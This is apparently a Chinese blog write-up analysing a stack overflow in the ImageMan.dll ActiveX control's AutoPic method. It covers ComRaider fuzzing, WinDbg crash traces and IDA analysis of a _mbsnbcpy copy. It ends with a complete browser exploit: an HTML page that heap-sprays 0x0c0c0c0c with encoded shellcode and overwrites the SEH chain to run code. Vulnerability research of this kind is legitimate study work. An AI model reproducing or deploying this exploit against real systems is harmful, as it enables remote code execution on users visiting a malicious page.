我们先来fuzz一波
ComRaider可以根据接口所提供的参数类型构造不同的Fuzz脚本,并且还能通过调试器来调试。可以根据参数类型的不同,构造字符串溢出漏洞、整数溢出漏洞、格式化字符串漏洞等。
这个其实挺好用的,fuzzing ActiveX插件的话,说不定一不小心就挖到一个洞了呢
2个异常
是访问违例
查看文件,就是第一个参数溢出
针对ActiveX控件的漏洞分析方法
作者直接就告诉你如何下断点什么的,那我先自己来一下吧
<html> <body> <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> <script> var buffer = ''; while (buffer.length < 1111) buffer+="A"; target.AutoPic(buffer,"defaultV"); </script> </body> </html>
先打开看看,覆盖成41414141了
打开poc看看,crach信息,确实是ImageMan
(1098.10dc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000041 ebx=04eded3c ecx=017afefc edx=fe850104 esi=00000041 edi=017b0000 eip=04ed406b esp=017ace54 ebp=017ace5c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll - ImageMan!DllUnregisterServer+0x32e70: 04ed406b 8807 mov byte ptr [edi],al ds:0023:017b0000=4d
看看堆栈,太长了,后面的都是41
0:008> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 017ace5c 04ebc324 017ad0a0 017acf9c fe853065 ImageMan!DllUnregisterServer+0x32e70 017ace70 04ebac30 017ad0a0 017acf9c fe853065 ImageMan!DllUnregisterServer+0x1b129 017ad1a4 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35 017ad1a8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1ac 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1b0 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1b4 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1b8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1bc 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1c0 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1c4 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10 017ad1c8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
通过ida查找定位到该指令所在函数
看他的名字好像是一个复制函数
我们看看这个模块,加载的基址是04ea0000
0:008> lmm ImageMan v start end module name 04ea0000 04ef4000 ImageMan (export symbols) C:\Program Files\AliWangWang\Pictool\ImageMan.dll Loaded symbol image file: C:\Program Files\AliWangWang\Pictool\ImageMan.dll Image path: C:\Program Files\AliWangWang\Pictool\ImageMan.dll Image name: ImageMan.dll Timestamp: Mon Nov 06 10:59:45 2006 (454EA521) CheckSum: 0005C246 ImageSize: 00054000 File version: 1.0.0.1 Product version: 1.0.0.1 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: 䇼̂㇣뫊c1�粒⇫粀˴ ProductName: ImageMan Module InternalName: ImageMan OriginalFilename: ImageMan.DLL ProductVersion: 1, 0, 0, 1 FileVersion: 1, 0, 0, 1 FileDescription: ImageMan Module LegalCopyright: Copyright 2006
我们函数偏移0x34027,我们就去那个偏移下断点就好了
.text:10034027 ; unsigned __int8 *__cdecl _mbsnbcpy(unsigned __int8 *, const unsigned __int8 *, size_t)
bp ImageMan+0x34027
为了调试,我在js代码处搞个alert
0:032> bl 1 e 03ed4027 0001 (0001) 0:**** ImageMan!DllUnregisterServer+0x32e2c 0:032> g Breakpoint 1 hit eax=fe853065 ebx=03eded3c ecx=017acf9c edx=017ad0a0 esi=017ad458 edi=017ad1a4 eip=03ed4027 esp=017ace60 ebp=017ace70 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 ImageMan!DllUnregisterServer+0x32e2c: 03ed4027 55 push ebp 0:008> dd esp 017ace60 03ebc324 017ad0a0 017acf9c fe853065 017ace70 017ad1a4 03ebac30 017ad0a0 017acf9c 017ace80 fe853065 00000000 00247050 0682be18 017ace90 00247048 00000000 00000000 00000000 017acea0 00000000 00000000 00000000 00000000 017aceb0 00000000 00000000 00000000 00000000 017acec0 00000000 00000000 00000000 00000000 017aced0 00000000 00000000 00000000 00000000 0:008> dc 017ad0a0 017ad0a0 00000000 00000000 00000000 00000000 ................ 017ad0b0 00000000 00000000 00000000 00000000 ................ 017ad0c0 00000000 00000000 00000000 00000000 ................ 017ad0d0 00000000 00000000 00000000 00000000 ................ 017ad0e0 00000000 00000000 00000000 00000000 ................ 017ad0f0 00000000 00000000 00000000 00000000 ................ 017ad100 00000000 00000000 00000000 00000000 ................ 017ad110 00000000 00000000 00000000 00000000 ................ 0:008> dc 017acf9c 017acf9c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acfac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acfbc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acfcc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acfdc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acfec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017acffc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 017ad00c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
我们看到第二个参数就是指向“AAAA….”,第三个参数是fe853065
我们发现复制的edi起始就是017ad0a0(在当前的esp和ebp之上的地址), ecx指向‘AAAA….’,是复制的源,先给al再给edi
那我们看看跳过去的代码,又跳回那里去复制去了
03ed4082 47 inc edi 03ed4083 41 inc ecx;地址递增 03ed4084 84c0 test al,al;看看是否到字符串结尾了 03ed4086 7410 je ImageMan!DllUnregisterServer+0x32e9d (03ed4098) 03ed4088 85d2 test edx,edx;这个edx为0,才为0,所以下面的肯定跳 03ed408a 75d2 jne ImageMan!DllUnregisterServer+0x32e63 (03ed405e)
再看看最开始我们报错的那个地址,那是一个只读的地址,所以异常了
0:008> !address 17b0000 Failed to map Heaps (error 80004005) Usage: Image Allocation Base: 017b0000 Base Address: 017b0000 End Address: 01cf9000 Region Size: 00549000 Type: 01000000MEM_IMAGE State: 00001000MEM_COMMIT Protect: 00000002PAGE_READONLY More info: lmv m xpsp2res More info: !lmi xpsp2res More info: ln 0x17b0000
看着就像PE文件
我们计算还达不到这个地址
那是进行了第二次复制?
那我们对0x17ad4f8下内存写入断点看看
0:008> ba w4 0x17ad4f8
我们发现edi地址已经超出我们的预期了
而且我们发现原来的41到ad4f4就没了
原来是将栈上的41变得原来越长,永无停止,因为size非常大,直到超过栈顶了,怪不得上图的41刚好就到ad4f8,也刚好是我们下的硬件断点
那这样就可以理解为什么1111字节的0x41可以覆盖到栈顶了
第一个是传进来的长度很长,f开头的,你说长不长,O(∩_∩)O哈哈~
第二个是源地址和目的地址相差260,而1111>260,所以其实就可以延长源字符串的长度,知道复制到栈顶了
我自己分析到这,回到看看书,作者是怎么搞的
作者通过DispCallFunc function定位,首个call ecx就是了
应该是控件是通过这个调用的
在某博客有句话:
调试AX控件时,确定函数地址可以下断在OLEAUT32!DispCallFunc
而作者的分析是在我的分析的函数的外层,其实可以看到里面也是右很多有趣的东西
再试试作者的方法,其实也可以
跟进,获取超长字符串参数,
跟着将unicode字符串转化为字符串
放到这边来了
还没溢出,但加16个可以覆盖那个返回地址了
跟着寻找\在字符串的位置,没有,肯定是执行字符串最后了,由于没显示符号,还是吾爱破解的好点
看下ida吧
原来是这里计算了字符串的复制长度,就是反斜杠的index-path+1,就是想只复制反斜杠前面的字符
ida就清楚多了
接下来就是复制了
漏洞利用
浏览器的利用很多时候都是heap spray
这里超过260个字符,就会覆盖到栈顶,触发异常,而且seh被覆盖,案例来说是这讨论,但是实际作者的代码在我的机器上并不起作用
应该作者是ie6或7
ie8的堆喷有些改变
改变在这
看似成功了
seh已经被覆盖
但是dep开了,没法执行,我们关闭dep看看
可以
我们调试看看,对0c0c0c0c下硬件执行断点
果然就执行到这了
最终exploit,改了作者一点的heap spray的方式
<html> <body> <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> <script> shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u0c0c%u0c0c'); while(nops.length < 0x100000/2){ nops += nops } // 减去堆头,长度以及最后的两个空字符 nops = nops.substring(0, 0x100000/2 - 32/2 - 4/2 - 2/2 - shellcode.length); var tmp = nops + shellcode memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= tmp.substring(0, tmp.length); alert(1); s=''; for( counter=0; counter<=250; counter++) s+=unescape("%0C%0C%0C%0C"); target.AutoPic(s,"defaultV"); </script> </body> </html>